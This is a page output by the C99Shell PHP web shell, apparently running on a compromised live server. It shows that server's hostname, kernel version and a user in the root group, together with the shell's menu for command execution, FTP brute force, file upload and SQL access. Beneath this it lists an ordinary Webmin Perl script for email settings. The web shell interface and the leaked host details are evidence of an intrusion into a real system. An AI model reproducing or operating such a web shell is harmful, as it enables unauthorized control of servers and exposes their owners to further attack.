!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edit_mail.cgi (3.06 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show email-related settings for this virtual server

require './virtual-server-lib.pl';
&ReadParse();
$d = &get_domain($in{'dom'});
&can_edit_domain($d) && &can_edit_mail() || &error($text{'edit_ecannot'});
&require_mail();

&ui_print_header(&domain_in($d), $text{'mail_title'}, "", "mailopts");

print &ui_form_start("save_mail.cgi");
print &ui_hidden("dom", $d->{'id'}),"\n";
print &ui_table_start($text{'mail_header'}, undef, 2);

# BCC mode
if ($supports_bcc) {
    # Outgoing BCC
    $bcc = &get_domain_sender_bcc($d);
    print &ui_table_row($text{'mail_bcc'},
        &ui_radio("bcc_def", $bcc ? 0 : 1,
          [ [ 1, $text{'mail_bcc1'}."<br>" ],
            [ 0, &text('mail_bcc0', &ui_textbox("bcc", $bcc, 50)) ] ]));
    }
if ($supports_bcc == 2) {
    # Incoming BCC
    $rbcc = &get_domain_recipient_bcc($d);
    print &ui_table_row($text{'mail_rbcc'},
        &ui_radio("rbcc_def", $rbcc ? 0 : 1,
          [ [ 1, $text{'mail_bcc1'}."<br>" ],
            [ 0, &text('mail_bcc0',
                   &ui_textbox("rbcc", $rbcc, 50)) ] ]));
    }
elsif ($supports_bcc == 1 && &master_admin()) {
    # Show message about incoming BCC not being enabled
    print &ui_table_row($text{'mail_rbcc'},
        &text('mail_bccsupport', '../postfix/bcc.cgi'));
    }

# Alias copy mode
if ($d->{'alias'} && $supports_aliascopy) {
    print &ui_table_row($text{'edit_aliascopy'},
            &ui_radio("aliascopy", int($d->{'aliascopy'}),
                  [ [ 1, $text{'tmpl_aliascopy1'} ],
                [ 0, $text{'tmpl_aliascopy0'} ] ]));
    }

# Outgoing IP binding
if ($supports_dependent) {
    $dependent = &get_domain_dependent($d);
    print &ui_table_row($text{'mail_dependent'},
                    &ui_radio("dependent", $dependent ? 1 : 0,
                              [ [ 0, $text{'mail_dependent0'} ],
                [ 1, &text('mail_dependent1', $d->{'ip'}) ],
                  ]));
    }

# Cloud mail filter
@provs = &list_cloud_mail_providers($d);
$prov = &get_domain_cloud_mail_provider($d);
print &ui_table_row($text{'mail_cloud'},
    &ui_select("cloud", $prov ? $prov->{'name'} : undef,
           [ [ undef, "&lt;".$text{'mail_cloudnone'}."&gt;" ],
             map { $_->{'name'} } @provs ]));

# Cloud mail filter ID
print &ui_table_row($text{'mail_cloudid'},
    &ui_textbox("cloudid", $d->{'cloud_mail_id'}, 20));

if ($prov) {
    # Show MX records and URL
    print &ui_table_row($text{'mail_url'},
        &ui_link($prov->{'url'}, $prov->{'url'}, undef,
             'target=_blank'));

    print &ui_table_row($text{'mail_mx'},
        join("<br>\n", @{$prov->{'mx'}}));
    }

my @okclouds;
if (defined(&list_smtp_clouds)) {
    # Find usable cloud mail delivery providers
    my @clouds = &list_smtp_clouds();
    foreach my $c (@clouds) {
        $sfunc = "smtpcloud_".$c->{'name'}."_get_state";
        $s = &$sfunc();
        push(@okclouds, $c) if ($s->{'ok'} || &smtp_uses_cloud($d, $c));
        }
    }
if (@okclouds) {
    # Cloud mail delivery provider fields
    print &ui_table_row($text{'mail_smtp_cloud'},
        &ui_select("smtp_cloud", $d->{'smtp_cloud'},
            [ [ "", $text{'mail_smtp_local'} ],
              map { [ $_->{'name'}, $_->{'desc'} ] } @okclouds ]));
    }

print &ui_table_end();
print &ui_form_end([ [ "save", $text{'save'} ] ]);

&ui_print_footer(&domain_footer_link($d),
         "", $text{'index_return'});



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--